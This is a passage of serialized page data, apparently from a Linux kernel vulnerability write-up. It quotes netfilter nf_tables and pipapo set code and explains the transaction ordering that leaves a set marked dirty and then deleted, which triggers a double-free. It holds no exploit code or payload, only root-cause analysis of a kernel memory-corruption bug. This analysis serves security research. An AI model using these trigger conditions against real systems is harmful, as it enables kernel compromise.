true;\n[...]\n}\n",[51218],{"type":23,"tag":94,"props":51219,"children":51220},{"__ignoreMap":7},[51221,51291,51320,51345,51352,51359,51388,51395],{"type":23,"tag":314,"props":51222,"children":51223},{"class":316,"line":317},[51224,51228,51232,51237,51241,51245,51249,51254,51258,51263,51267,51271,51275,51279,51283,51287],{"type":23,"tag":314,"props":51225,"children":51226},{"style":321},[51227],{"type":28,"value":50295},{"type":23,"tag":314,"props":51229,"children":51230},{"style":321},[51231],{"type":28,"value":50424},{"type":23,"tag":314,"props":51233,"children":51234},{"style":332},[51235],{"type":28,"value":51236}," nft_pipapo_insert",{"type":23,"tag":314,"props":51238,"children":51239},{"style":338},[51240],{"type":28,"value":341},{"type":23,"tag":314,"props":51242,"children":51243},{"style":321},[51244],{"type":28,"value":346},{"type":23,"tag":314,"props":51246,"children":51247},{"style":321},[51248],{"type":28,"value":20388},{"type":23,"tag":314,"props":51250,"children":51251},{"style":338},[51252],{"type":28,"value":51253}," net ",{"type":23,"tag":314,"props":51255,"children":51256},{"style":354},[51257],{"type":28,"value":256},{"type":23,"tag":314,"props":51259,"children":51260},{"style":360},[51261],{"type":28,"value":51262},"net",{"type":23,"tag":314,"props":51264,"children":51265},{"style":338},[51266],{"type":28,"value":778},{"type":23,"tag":314,"props":51268,"children":51269},{"style":321},[51270],{"type":28,"value":346},{"type":23,"tag":314,"props":51272,"children":51273},{"style":321},[51274],{"type":28,"value":20388},{"type":23,"tag":314,"props":51276,"children":51277},{"style":338},[51278],{"type":28,"value":50350},{"type":23,"tag":314,"props":51280,"children":51281},{"style":354},[51282],{"type":28,"value":256},{"type":23,"tag":314,"props":51284,"children":51285},{"style":360},[51286],{"type":28,"value":50270},{"type":23,"tag":314,"props":51288,"children":51289},{"style":338},[51290],{"type":28,"value":1870},{"type":23,"tag":314,"props":51292,"children":51293},{"class":316,"line":370},[51294,51298,51302,51307,51311,51316],{"type":23,"tag":314,"props":51295,"children":51296},{"style":321},[51297],{"type":28,"value":32149},{"type":23,"tag":314,"props":51299,"children":51300},{"style":321},[51301],{"type":28,"value":20388},{"type":23,"tag":314,"props":51303,"children":51304},{"style":338},[51305],{"type":28,"value":51306}," nft_set_elem ",{"type":23,"tag":314,"props":51308,"children":51309},{"style":354},[51310],{"type":28,"value":256},{"type":23,"tag":314,"props":51312,"children":51313},{"style":360},[51314],{"type":28,"value":51315},"elem",{"type":23,"tag":314,"props":51317,"children":51318},{"style":338},[51319],{"type":28,"value":1870},{"type":23,"tag":314,"props":51321,"children":51322},{"class":316,"line":380},[51323,51328,51332,51337,51341],{"type":23,"tag":314,"props":51324,"children":51325},{"style":321},[51326],{"type":28,"value":51327}," struct",{"type":23,"tag":314,"props":51329,"children":51330},{"style":338},[51331],{"type":28,"value":50955},{"type":23,"tag":314,"props":51333,"children":51334},{"style":354},[51335],{"type":28,"value":51336},"**",{"type":23,"tag":314,"props":51338,"children":51339},{"style":360},[51340],{"type":28,"value":50964},{"type":23,"tag":314,"props":51342,"children":51343},{"style":338},[51344],{"type":28,"value":2414},{"type":23,"tag":314,"props":51346,"children":51347},{"class":316,"line":1091},[51348],{"type":23,"tag":314,"props":51349,"children":51350},{"style":338},[51351],{"type":28,"value":10129},{"type":23,"tag":314,"props":51353,"children":51354},{"class":316,"line":1141},[51355],{"type":23,"tag":314,"props":51356,"children":51357},{"style":338},[51358],{"type":28,"value":9566},{"type":23,"tag":314,"props":51360,"children":51361},{"class":316,"line":1173},[51362,51367,51371,51376,51380,51384],{"type":23,"tag":314,"props":51363,"children":51364},{"style":360},[51365],{"type":28,"value":51366}," priv",{"type":23,"tag":314,"props":51368,"children":51369},{"style":338},[51370],{"type":28,"value":1015},{"type":23,"tag":314,"props":51372,"children":51373},{"style":360},[51374],{"type":28,"value":51375},"dirty",{"type":23,"tag":314,"props":51377,"children":51378},{"style":354},[51379],{"type":28,"value":1237},{"type":23,"tag":314,"props":51381,"children":51382},{"style":321},[51383],{"type":28,"value":11717},{"type":23,"tag":314,"props":51385,"children":51386},{"style":338},[51387],{"type":28,"value":2278},{"type":23,"tag":314,"props":51389,"children":51390},{"class":316,"line":1208},[51391],{"type":23,"tag":314,"props":51392,"children":51393},{"style":338},[51394],{"type":28,"value":9566},{"type":23,"tag":314,"props":51396,"children":51397},{"class":316,"line":1216},[51398],{"type":23,"tag":314,"props":51399,"children":51400},{"style":338},[51401],{"type":28,"value":386},{"type":23,"tag":24,"props":51403,"children":51404},{},[51405],{"type":28,"value":51406},"We also see that when the changes are commited, this flag is then unset.",{"type":23,"tag":304,"props":51408,"children":51410},{"className":306,"code":51409,"language":308,"meta":7,"style":7},"static void nft_pipapo_commit(struct nft_set *set)\n{\n[...]\n if (!priv->dirty)\n return;\n[...]\n priv->dirty = false;\n[...]\n}\n",[51411],{"type":23,"tag":94,"props":51412,"children":51413},{"__ignoreMap":7},[51414,51454,51461,51468,51499,51510,51517,51544,51551],{"type":23,"tag":314,"props":51415,"children":51416},{"class":316,"line":317},[51417,51421,51425,51430,51434,51438,51442,51446,51450],{"type":23,"tag":314,"props":51418,"children":51419},{"style":321},[51420],{"type":28,"value":50295},{"type":23,"tag":314,"props":51422,"children":51423},{"style":321},[51424],{"type":28,"value":50300},{"type":23,"tag":314,"props":51426,"children":51427},{"style":332},[51428],{"type":28,"value":51429}," nft_pipapo_commit",{"type":23,"tag":314,"props":51431,"children":51432},{"style":338},[51433],{"type":28,"value":341},{"type":23,"tag":314,"props":51435,"children":51436},{"style":321},[51437],{"type":28,"value":8651},{"type":23,"tag":314,"props":51439,"children":51440},{"style":338},[51441],{"type":28,"value":50350},{"type":23,"tag":314,"props":51443,"children":51444},{"style":354},[51445],{"type":28,"value":256},{"type":23,"tag":314,"props":51447,"children":51448},{"style":360},[51449],{"type":28,"value":50270},{"type":23,"tag":314,"props":51451,"children":51452},{"style":338},[51453],{"type":28,"value":2414},{"type":23,"tag":314,"props":51455,"children":51456},{"class":316,"line":370},[51457],{"type":23,"tag":314,"props":51458,"children":51459},{"style":338},[51460],{"type":28,"value":10129},{"type":23,"tag":314,"props":51462,"children":51463},{"class":316,"line":380},[51464],{"type":23,"tag":314,"props":51465,"children":51466},{"style":338},[51467],{"type":28,"value":9566},{"type":23,"tag":314,"props":51469,"children":51470},{"class":316,"line":1091},[51471,51475,51479,51483,51487,51491,51495],{"type":23,"tag":314,"props":51472,"children":51473},{"style":2284},[51474],{"type":28,"value":15029},{"type":23,"tag":314,"props":51476,"children":51477},{"style":338},[51478],{"type":28,"value":2324},{"type":23,"tag":314,"props":51480,"children":51481},{"style":354},[51482],{"type":28,"value":19859},{"type":23,"tag":314,"props":51484,"children":51485},{"style":360},[51486],{"type":28,"value":50826},{"type":23,"tag":314,"props":51488,"children":51489},{"style":338},[51490],{"type":28,"value":1015},{"type":23,"tag":314,"props":51492,"children":51493},{"style":360},[51494],{"type":28,"value":51375},{"type":23,"tag":314,"props":51496,"children":51497},{"style":338},[51498],{"type":28,"value":2414},{"type":23,"tag":314,"props":51500,"children":51501},{"class":316,"line":1141},[51502,51506],{"type":23,"tag":314,"props":51503,"children":51504},{"style":2284},[51505],{"type":28,"value":38446},{"type":23,"tag":314,"props":51507,"children":51508},{"style":338},[51509],{"type":28,"value":2278},{"type":23,"tag":314,"props":51511,"children":51512},{"class":316,"line":1173},[51513],{"type":23,"tag":314,"props":51514,"children":51515},{"style":338},[51516],{"type":28,"value":9566},{"type":23,"tag":314,"props":51518,"children":51519},{"class":316,"line":1208},[51520,51524,51528,51532,51536,51540],{"type":23,"tag":314,"props":51521,"children":51522},{"style":360},[51523],{"type":28,"value":51366},{"type":23,"tag":314,"props":51525,"children":51526},{"style":338},[51527],{"type":28,"value":1015},{"type":23,"tag":314,"props":51529,"children":51530},{"style":360},[51531],{"type":28,"value":51375},{"type":23,"tag":314,"props":51533,"children":51534},{"style":354},[51535],{"type":28,"value":1237},{"type":23,"tag":314,"props":51537,"children":51538},{"style":321},[51539],{"type":28,"value":8309},{"type":23,"tag":314,"props":51541,"children":51542},{"style":338},[51543],{"type":28,"value":2278},{"type":23,"tag":314,"props":51545,"children":51546},{"class":316,"line":1216},[51547],{"type":23,"tag":314,"props":51548,"children":51549},{"style":338},[51550],{"type":28,"value":9566},{"type":23,"tag":314,"props":51552,"children":51553},{"class":316,"line":1301},[51554],{"type":23,"tag":314,"props":51555,"children":51556},{"style":338},[51557],{"type":28,"value":386},{"type":23,"tag":24,"props":51559,"children":51560},{},[51561,51563,51568,51570,51575,51577,51582,51584,51589,51591,51597,51599,51605,51607,51612],{"type":28,"value":51562},"We can conclude that as long as we can, in the same transaction, insert a ",{"type":23,"tag":94,"props":51564,"children":51566},{"className":51565},[],[51567],{"type":28,"value":50262},{"type":28,"value":51569}," in the ",{"type":23,"tag":94,"props":51571,"children":51573},{"className":51572},[],[51574],{"type":28,"value":50270},{"type":28,"value":51576}," to make it dirty and then delete the ",{"type":23,"tag":94,"props":51578,"children":51580},{"className":51579},[],[51581],{"type":28,"value":50270},{"type":28,"value":51583},", we will be able to trigger the double-free. But there is another condition: in the commit path, if a ",{"type":23,"tag":94,"props":51585,"children":51587},{"className":51586},[],[51588],{"type":28,"value":50270},{"type":28,"value":51590},"'s ",{"type":23,"tag":94,"props":51592,"children":51594},{"className":51593},[],[51595],{"type":28,"value":51596},"->commit()",{"type":28,"value":51598}," method is executed before its ",{"type":23,"tag":94,"props":51600,"children":51602},{"className":51601},[],[51603],{"type":28,"value":51604},"->destroy()",{"type":28,"value":51606}," method, then the ",{"type":23,"tag":94,"props":51608,"children":51610},{"className":51609},[],[51611],{"type":28,"value":51375},{"type":28,"value":51613}," flag will be unset, and we won't be able to trigger the double-free.",{"type":23,"tag":24,"props":51615,"children":51616},{},[51617],{"type":28,"value":51618},"Let's once again refer to the code and see how these methods are called.",{"type":23,"tag":304,"props":51620,"children":51622},{"className":306,"code":51621,"language":308,"meta":7,"style":7},"static int nf_tables_commit(struct net *net, struct sk_buff *skb)\n{\n[...]\n case NFT_MSG_DELSET:\n case NFT_MSG_DESTROYSET: // [1]\n nft_trans_set(trans)->dead = 1; // [2]\n list_del_rcu(&nft_trans_set(trans)->list);\n nf_tables_set_notify(&trans->ctx, nft_trans_set(trans),\n trans->msg_type, GFP_KERNEL);\n break;\n case NFT_MSG_NEWSETELEM: // [3]\n[...]\n if (te->set->ops->commit &&\n list_empty(&te->set->pending_update)) {\n list_add_tail(&te->set->pending_update,\n &set_update_list);\n }\n[...]\n }\n\n nft_set_commit_update(&set_update_list);\n[...]\n nf_tables_commit_release(net);\n\n return 0;\n}\n",[51623],{"type":23,"tag":94,"props":51624,"children":51625},{"__ignoreMap":7},[51626,51688,51695,51702,51710,51723,51758,51792,51834,51856,51868,51881,51888,51936,51977,52017,52030,52037,52044,52051,52058,52083,52090,52103,52110,52126],{"type":23,"tag":314,"props":51627,"children":51628},{"class":316,"line":317},[51629,51633,51637,51642,51646,51650,51654,51658,51662,51666,51670,51675,51679,51684],{"type":23,"tag":314,"props":51630,"children":51631},{"style":321},[51632],{"type":28,"value":50295},{"type":23,"tag":314,"props":51634,"children":51635},{"style":321},[51636],{"type":28,"value":50424},{"type":23,"tag":314,"props":51638,"children":51639},{"style":332},[51640],{"type":28,"value":51641}," nf_tables_commit",{"type":23,"tag":314,"props":51643,"children":51644},{"style":338},[51645],{"type":28,"value":341},{"type":23,"tag":314,"props":51647,"children":51648},{"style":321},[51649],{"type":28,"value":8651},{"type":23,"tag":314,"props":51651,"children":51652},{"style":338},[51653],{"type":28,"value":51253},{"type":23,"tag":314,"props":51655,"children":51656},{"style":354},[51657],{"type":28,"value":256},{"type":23,"tag":314,"props":51659,"children":51660},{"style":360},[51661],{"type":28,"value":51262},{"type":23,"tag":314,"props":51663,"children":51664},{"style":338},[51665],{"type":28,"value":778},{"type":23,"tag":314,"props":51667,"children":51668},{"style":321},[51669],{"type":28,"value":8651},{"type":23,"tag":314,"props":51671,"children":51672},{"style":338},[51673],{"type":28,"value":51674}," sk_buff ",{"type":23,"tag":314,"props":51676,"children":51677},{"style":354},[51678],{"type":28,"value":256},{"type":23,"tag":314,"props":51680,"children":51681},{"style":360},[51682],{"type":28,"value":51683},"skb",{"type":23,"tag":314,"props":51685,"children":51686},{"style":338},[51687],{"type":28,"value":2414},{"type":23,"tag":314,"props":51689,"children":51690},{"class":316,"line":370},[51691],{"type":23,"tag":314,"props":51692,"children":51693},{"style":338},[51694],{"type":28,"value":10129},{"type":23,"tag":314,"props":51696,"children":51697},{"class":316,"line":380},[51698],{"type":23,"tag":314,"props":51699,"children":51700},{"style":338},[51701],{"type":28,"value":9566},{"type":23,"tag":314,"props":51703,"children":51704},{"class":316,"line":1091},[51705],{"type":23,"tag":314,"props":51706,"children":51707},{"style":338},[51708],{"type":28,"value":51709}," case NFT_MSG_DELSET:\n",{"type":23,"tag":314,"props":51711,"children":51712},{"class":316,"line":1141},[51713,51718],{"type":23,"tag":314,"props":51714,"children":51715},{"style":338},[51716],{"type":28,"value":51717}," case NFT_MSG_DESTROYSET:",{"type":23,"tag":314,"props":51719,"children":51720},{"style":374},[51721],{"type":28,"value":51722}," // [1]\n",{"type":23,"tag":314,"props":51724,"children":51725},{"class":316,"line":1173},[51726,51731,51736,51741,51745,51749,51753],{"type":23,"tag":314,"props":51727,"children":51728},{"style":332},[51729],{"type":28,"value":51730}," nft_trans_set",{"type":23,"tag":314,"props":51732,"children":51733},{"style":338},[51734],{"type":28,"value":51735},"(trans)->",{"type":23,"tag":314,"props":51737,"children":51738},{"style":360},[51739],{"type":28,"value":51740},"dead",{"type":23,"tag":314,"props":51742,"children":51743},{"style":354},[51744],{"type":28,"value":1237},{"type":23,"tag":314,"props":51746,"children":51747},{"style":1054},[51748],{"type":28,"value":3778},{"type":23,"tag":314,"props":51750,"children":51751},{"style":338},[51752],{"type":28,"value":48324},{"type":23,"tag":314,"props":51754,"children":51755},{"style":374},[51756],{"type":28,"value":51757}," // [2]\n",{"type":23,"tag":314,"props":51759,"children":51760},{"class":316,"line":1208},[51761,51766,51770,51774,51779,51783,51788],{"type":23,"tag":314,"props":51762,"children":51763},{"style":332},[51764],{"type":28,"value":51765}," list_del_rcu",{"type":23,"tag":314,"props":51767,"children":51768},{"style":338},[51769],{"type":28,"value":341},{"type":23,"tag":314,"props":51771,"children":51772},{"style":354},[51773],{"type":28,"value":1833},{"type":23,"tag":314,"props":51775,"children":51776},{"style":332},[51777],{"type":28,"value":51778},"nft_trans_set",{"type":23,"tag":314,"props":51780,"children":51781},{"style":338},[51782],{"type":28,"value":51735},{"type":23,"tag":314,"props":51784,"children":51785},{"style":360},[51786],{"type":28,"value":51787},"list",{"type":23,"tag":314,"props":51789,"children":51790},{"style":338},[51791],{"type":28,"value":1025},{"type":23,"tag":314,"props":51793,"children":51794},{"class":316,"line":1216},[51795,51800,51804,51808,51813,51817,51821,51825,51829],{"type":23,"tag":314,"props":51796,"children":51797},{"style":332},[51798],{"type":28,"value":51799}," nf_tables_set_notify",{"type":23,"tag":314,"props":51801,"children":51802},{"style":338},[51803],{"type":28,"value":341},{"type":23,"tag":314,"props":51805,"children":51806},{"style":354},[51807],{"type":28,"value":1833},{"type":23,"tag":314,"props":51809,"children":51810},{"style":360},[51811],{"type":28,"value":51812},"trans",{"type":23,"tag":314,"props":51814,"children":51815},{"style":338},[51816],{"type":28,"value":1015},{"type":23,"tag":314,"props":51818,"children":51819},{"style":360},[51820],{"type":28,"value":19518},{"type":23,"tag":314,"props":51822,"children":51823},{"style":338},[51824],{"type":28,"value":778},{"type":23,"tag":314,"props":51826,"children":51827},{"style":332},[51828],{"type":28,"value":51778},{"type":23,"tag":314,"props":51830,"children":51831},{"style":338},[51832],{"type":28,"value":51833},"(trans),\n",{"type":23,"tag":314,"props":51835,"children":51836},{"class":316,"line":1301},[51837,51842,51846,51851],{"type":23,"tag":314,"props":51838,"children":51839},{"style":360},[51840],{"type":28,"value":51841}," trans",{"type":23,"tag":314,"props":51843,"children":51844},{"style":338},[51845],{"type":28,"value":1015},{"type":23,"tag":314,"props":51847,"children":51848},{"style":360},[51849],{"type":28,"value":51850},"msg_type",{"type":23,"tag":314,"props":51852,"children":51853},{"style":338},[51854],{"type":28,"value":51855},", GFP_KERNEL);\n",{"type":23,"tag":314,"props":51857,"children":51858},{"class":316,"line":1343},[51859,51864],{"type":23,"tag":314,"props":51860,"children":51861},{"style":2284},[51862],{"type":28,"value":51863}," break",{"type":23,"tag":314,"props":51865,"children":51866},{"style":338},[51867],{"type":28,"value":2278},{"type":23,"tag":314,"props":51869,"children":51870},{"class":316,"line":1351},[51871,51876],{"type":23,"tag":314,"props":51872,"children":51873},{"style":338},[51874],{"type":28,"value":51875}," case NFT_MSG_NEWSETELEM:",{"type":23,"tag":314,"props":51877,"children":51878},{"style":374},[51879],{"type":28,"value":51880}," // [3]\n",{"type":23,"tag":314,"props":51882,"children":51883},{"class":316,"line":1387},[51884],{"type":23,"tag":314,"props":51885,"children":51886},{"style":338},[51887],{"type":28,"value":9566},{"type":23,"tag":314,"props":51889,"children":51890},{"class":316,"line":1422},[51891,51896,51900,51905,51909,51913,51917,51922,51926,51931],{"type":23,"tag":314,"props":51892,"children":51893},{"style":2284},[51894],{"type":28,"value":51895}," if",{"type":23,"tag":314,"props":51897,"children":51898},{"style":338},[51899],{"type":28,"value":2324},{"type":23,"tag":314,"props":51901,"children":51902},{"style":360},[51903],{"type":28,"value":51904},"te",{"type":23,"tag":314,"props":51906,"children":51907},{"style":338},[51908],{"type":28,"value":1015},{"type":23,"tag":314,"props":51910,"children":51911},{"style":360},[51912],{"type":28,"value":50270},{"type":23,"tag":314,"props":51914,"children":51915},{"style":338},[51916],{"type":28,"value":1015},{"type":23,"tag":314,"props":51918,"children":51919},{"style":360},[51920],{"type":28,"value":51921},"ops",{"type":23,"tag":314,"props":51923,"children":51924},{"style":338},[51925],{"type":28,"value":1015},{"type":23,"tag":314,"props":51927,"children":51928},{"style":360},[51929],{"type":28,"value":51930},"commit",{"type":23,"tag":314,"props":51932,"children":51933},{"style":354},[51934],{"type":28,"value":51935}," &&\n",{"type":23,"tag":314,"props":51937,"children":51938},{"class":316,"line":1430},[51939,51944,51948,51952,51956,51960,51964,51968,51973],{"type":23,"tag":314,"props":51940,"children":51941},{"style":332},[51942],{"type":28,"value":51943}," list_empty",{"type":23,"tag":314,"props":51945,"children":51946},{"style":338},[51947],{"type":28,"value":341},{"type":23,"tag":314,"props":51949,"children":51950},{"style":354},[51951],{"type":28,"value":1833},{"type":23,"tag":314,"props":51953,"children":51954},{"style":360},[51955],{"type":28,"value":51904},{"type":23,"tag":314,"props":51957,"children":51958},{"style":338},[51959],{"type":28,"value":1015},{"type":23,"tag":314,"props":51961,"children":51962},{"style":360},[51963],{"type":28,"value":50270},{"type":23,"tag":314,"props":51965,"children":51966},{"style":338},[51967],{"type":28,"value":1015},{"type":23,"tag":314,"props":51969,"children":51970},{"style":360},[51971],{"type":28,"value":51972},"pending_update",{"type":23,"tag":314,"props":51974,"children":51975},{"style":338},[51976],{"type":28,"value":34443},{"type":23,"tag":314,"props":51978,"children":51979},{"class":316,"line":1452},[51980,51985,51989,51993,51997,52001,52005,52009,52013],{"type":23,"tag":314,"props":51981,"children":51982},{"style":332},[51983],{"type":28,"value":51984}," list_add_tail",{"type":23,"tag":314,"props":51986,"children":51987},{"style":338},[51988],{"type":28,"value":341},{"type":23,"tag":314,"props":51990,"children":51991},{"style":354},[51992],{"type":28,"value":1833},{"type":23,"tag":314,"props":51994,"children":51995},{"style":360},[51996],{"type":28,"value":51904},{"type":23,"tag":314,"props":51998,"children":51999},{"style":338},[52000],{"type":28,"value":1015},{"type":23,"tag":314,"props":52002,"children":52003},{"style":360},[52004],{"type":28,"value":50270},{"type":23,"tag":314,"props":52006,"children":52007},{"style":338},[52008],{"type":28,"value":1015},{"type":23,"tag":314,"props":52010,"children":52011},{"style":360},[52012],{"type":28,"value":51972},{"type":23,"tag":314,"props":52014,"children":52015},{"style":338},[52016],{"type":28,"value":1870},{"type":23,"tag":314,"props":52018,"children":52019},{"class":316,"line":1497},[52020,52025],{"type":23,"tag":314,"props":52021,"children":52022},{"style":354},[52023],{"type":28,"value":52024}," &",{"type":23,"tag":314,"props":52026,"children":52027},{"style":338},[52028],{"type":28,"value":52029},"set_update_list);\n",{"type":23,"tag":314,"props":52031,"children":52032},{"class":316,"line":1539},[52033],{"type":23,"tag":314,"props":52034,"children":52035},{"style":338},[52036],{"type":28,"value":33997},{"type":23,"tag":314,"props":52038,"children":52039},{"class":316,"line":1548},[52040],{"type":23,"tag":314,"props":52041,"children":52042},{"style":338},[52043],{"type":28,"value":9566},{"type":23,"tag":314,"props":52045,"children":52046},{"class":316,"line":1584},[52047],{"type":23,"tag":314,"props":52048,"children":52049},{"style":338},[52050],{"type":28,"value":8845},{"type":23,"tag":314,"props":52052,"children":52053},{"class":316,"line":1617},[52054],{"type":23,"tag":314,"props":52055,"children":52056},{"emptyLinePlaceholder":18},[52057],{"type":28,"value":1088},{"type":23,"tag":314,"props":52059,"children":52060},{"class":316,"line":1625},[52061,52066,52070,52074,52079],{"type":23,"tag":314,"props":52062,"children":52063},{"style":332},[52064],{"type":28,"value":52065}," nft_set_commit_update",{"type":23,"tag":314,"props":52067,"children":52068},{"style":338},[52069],{"type":28,"value":341},{"type":23,"tag":314,"props":52071,"children":52072},{"style":354},[52073],{"type":28,"value":1833},{"type":23,"tag":314,"props":52075,"children":52076},{"style":360},[52077],{"type":28,"value":52078},"set_update_list",{"type":23,"tag":314,"props":52080,"children":52081},{"style":338},[52082],{"type":28,"value":1025},{"type":23,"tag":314,"props":52084,"children":52085},{"class":316,"line":1660},[52086],{"type":23,"tag":314,"props":52087,"children":52088},{"style":338},[52089],{"type":28,"value":9566},{"type":23,"tag":314,"props":52091,"children":52092},{"class":316,"line":1708},[52093,52098],{"type":23,"tag":314,"props":52094,"children":52095},{"style":332},[52096],{"type":28,"value":52097}," nf_tables_commit_release",{"type":23,"tag":314,"props":52099,"children":52100},{"style":338},[52101],{"type":28,"value":52102},"(net);\n",{"type":23,"tag":314,"props":52104,"children":52105},{"class":316,"line":1743},[52106],{"type":23,"tag":314,"props":52107,"children":52108},{"emptyLinePlaceholder":18},[52109],{"type":28,"value":1088},{"type":23,"tag":314,"props":52111,"children":52112},{"class":316,"line":1751},[52113,52118,52122],{"type":23,"tag":314,"props":52114,"children":52115},{"style":2284},[52116],{"type":28,"value":52117}," return",{"type":23,"tag":314,"props":52119,"children":52120},{"style":1054},[52121],{"type":28,"value":1201},{"type":23,"tag":314,"props":52123,"children":52124},{"style":338},[52125],{"type":28,"value":2278},{"type":23,"tag":314,"props":52127,"children":52128},{"class":316,"line":1791},[52129],{"type":23,"tag":314,"props":52130,"children":52131},{"style":338},[52132],{"type":28,"value":386},{"type":23,"tag":24,"props":52134,"children":52135},{},[52136,52137,52143,52145,52150],{"type":28,"value":92},{"type":23,"tag":94,"props":52138,"children":52140},{"className":52139},[],[52141],{"type":28,"value":52142},"nft_set_commit_update()",{"type":28,"value":52144}," function in the code above will call the ",{"type":23,"tag":94,"props":52146,"children":52148},{"className":52147},[],[52149],{"type":28,"value":51596},{"type":28,"value":52151}," method for any objects that were marked as pending an update.",{"type":23,"tag":304,"props":52153,"children":52155},{"className":306,"code":52154,"language":308,"meta":7,"style":7},"static void nft_set_commit_update(struct list_head *set_update_list)\n{\n struct nft_set *set, *next;\n\n list_for_each_entry_safe(set, next, set_update_list, pending_update) {\n list_del_init(&set->pending_update);\n\n if (!set->ops->commit || set->dead) // [4]\n continue;\n\n set->ops->commit(set); // [5]\n }\n}\n",[52156],{"type":23,"tag":94,"props":52157,"children":52158},{"__ignoreMap":7},[52159,52199,52206,52235,52242,52255,52287,52294,52355,52366,52373,52407,52414],{"type":23,"tag":314,"props":52160,"children":52161},{"class":316,"line":317},[52162,52166,52170,52174,52178,52182,52187,52191,52195],{"type":23,"tag":314,"props":52163,"children":52164},{"style":321},[52165],{"type":28,"value":50295},{"type":23,"tag":314,"props":52167,"children":52168},{"style":321},[52169],{"type":28,"value":50300},{"type":23,"tag":314,"props":52171,"children":52172},{"style":332},[52173],{"type":28,"value":52065},{"type":23,"tag":314,"props":52175,"children":52176},{"style":338},[52177],{"type":28,"value":341},{"type":23,"tag":314,"props":52179,"children":52180},{"style":321},[52181],{"type":28,"value":8651},{"type":23,"tag":314,"props":52183,"children":52184},{"style":338},[52185],{"type":28,"value":52186}," list_head ",{"type":23,"tag":314,"props":52188,"children":52189},{"style":354},[52190],{"type":28,"value":256},{"type":23,"tag":314,"props":52192,"children":52193},{"style":360},[52194],{"type":28,"value":52078},{"type":23,"tag":314,"props":52196,"children":52197},{"style":338},[52198],{"type":28,"value":2414},{"type":23,"tag":314,"props":52200,"children":52201},{"class":316,"line":370},[52202],{"type":23,"tag":314,"props":52203,"children":52204},{"style":338},[52205],{"type":28,"value":10129},{"type":23,"tag":314,"props":52207,"children":52208},{"class":316,"line":380},[52209,52213,52217,52221,52226,52230],{"type":23,"tag":314,"props":52210,"children":52211},{"style":321},[52212],{"type":28,"value":20388},{"type":23,"tag":314,"props":52214,"children":52215},{"style":338},[52216],{"type":28,"value":50350},{"type":23,"tag":314,"props":52218,"children":52219},{"style":354},[52220],{"type":28,"value":256},{"type":23,"tag":314,"props":52222,"children":52223},{"style":338},[52224],{"type":28,"value":52225},"set, ",{"type":23,"tag":314,"props":52227,"children":52228},{"style":354},[52229],{"type":28,"value":256},{"type":23,"tag":314,"props":52231,"children":52232},{"style":338},[52233],{"type":28,"value":52234},"next;\n",{"type":23,"tag":314,"props":52236,"children":52237},{"class":316,"line":1091},[52238],{"type":23,"tag":314,"props":52239,"children":52240},{"emptyLinePlaceholder":18},[52241],{"type":28,"value":1088},{"type":23,"tag":314,"props":52243,"children":52244},{"class":316,"line":1141},[52245,52250],{"type":23,"tag":314,"props":52246,"children":52247},{"style":332},[52248],{"type":28,"value":52249}," list_for_each_entry_safe",{"type":23,"tag":314,"props":52251,"children":52252},{"style":338},[52253],{"type":28,"value":52254},"(set, next, set_update_list, pending_update) {\n",{"type":23,"tag":314,"props":52256,"children":52257},{"class":316,"line":1173},[52258,52263,52267,52271,52275,52279,52283],{"type":23,"tag":314,"props":52259,"children":52260},{"style":332},[52261],{"type":28,"value":52262}," list_del_init",{"type":23,"tag":314,"props":52264,"children":52265},{"style":338},[52266],{"type":28,"value":341},{"type":23,"tag":314,"props":52268,"children":52269},{"style":354},[52270],{"type":28,"value":1833},{"type":23,"tag":314,"props":52272,"children":52273},{"style":360},[52274],{"type":28,"value":50270},{"type":23,"tag":314,"props":52276,"children":52277},{"style":338},[52278],{"type":28,"value":1015},{"type":23,"tag":314,"props":52280,"children":52281},{"style":360},[52282],{"type":28,"value":51972},{"type":23,"tag":314,"props":52284,"children":52285},{"style":338},[52286],{"type":28,"value":1025},{"type":23,"tag":314,"props":52288,"children":52289},{"class":316,"line":1208},[52290],{"type":23,"tag":314,"props":52291,"children":52292},{"emptyLinePlaceholder":18},[52293],{"type":28,"value":1088},{"type":23,"tag":314,"props":52295,"children":52296},{"class":316,"line":1216},[52297,52301,52305,52309,52313,52317,52321,52325,52329,52333,52338,52342,52346,52350],{"type":23,"tag":314,"props":52298,"children":52299},{"style":2284},[52300],{"type":28,"value":30642},{"type":23,"tag":314,"props":52302,"children":52303},{"style":338},[52304],{"type":28,"value":2324},{"type":23,"tag":314,"props":52306,"children":52307},{"style":354},[52308],{"type":28,"value":19859},{"type":23,"tag":314,"props":52310,"children":52311},{"style":360},[52312],{"type":28,"value":50270},{"type":23,"tag":314,"props":52314,"children":52315},{"style":338},[52316],{"type":28,"value":1015},{"type":23,"tag":314,"props":52318,"children":52319},{"style":360},[52320],{"type":28,"value":51921},{"type":23,"tag":314,"props":52322,"children":52323},{"style":338},[52324],{"type":28,"value":1015},{"type":23,"tag":314,"props":52326,"children":52327},{"style":360},[52328],{"type":28,"value":51930},{"type":23,"tag":314,"props":52330,"children":52331},{"style":354},[52332],{"type":28,"value":22942},{"type":23,"tag":314,"props":52334,"children":52335},{"style":360},[52336],{"type":28,"value":52337}," set",{"type":23,"tag":314,"props":52339,"children":52340},{"style":338},[52341],{"type":28,"value":1015},{"type":23,"tag":314,"props":52343,"children":52344},{"style":360},[52345],{"type":28,"value":51740},{"type":23,"tag":314,"props":52347,"children":52348},{"style":338},[52349],{"type":28,"value":431},{"type":23,"tag":314,"props":52351,"children":52352},{"style":374},[52353],{"type":28,"value":52354}," // [4]\n",{"type":23,"tag":314,"props":52356,"children":52357},{"class":316,"line":1301},[52358,52362],{"type":23,"tag":314,"props":52359,"children":52360},{"style":2284},[52361],{"type":28,"value":50742},{"type":23,"tag":314,"props":52363,"children":52364},{"style":338},[52365],{"type":28,"value":2278},{"type":23,"tag":314,"props":52367,"children":52368},{"class":316,"line":1343},[52369],{"type":23,"tag":314,"props":52370,"children":52371},{"emptyLinePlaceholder":18},[52372],{"type":28,"value":1088},{"type":23,"tag":314,"props":52374,"children":52375},{"class":316,"line":1351},[52376,52381,52385,52389,52393,52397,52402],{"type":23,"tag":314,"props":52377,"children":52378},{"style":360},[52379],{"type":28,"value":52380}," 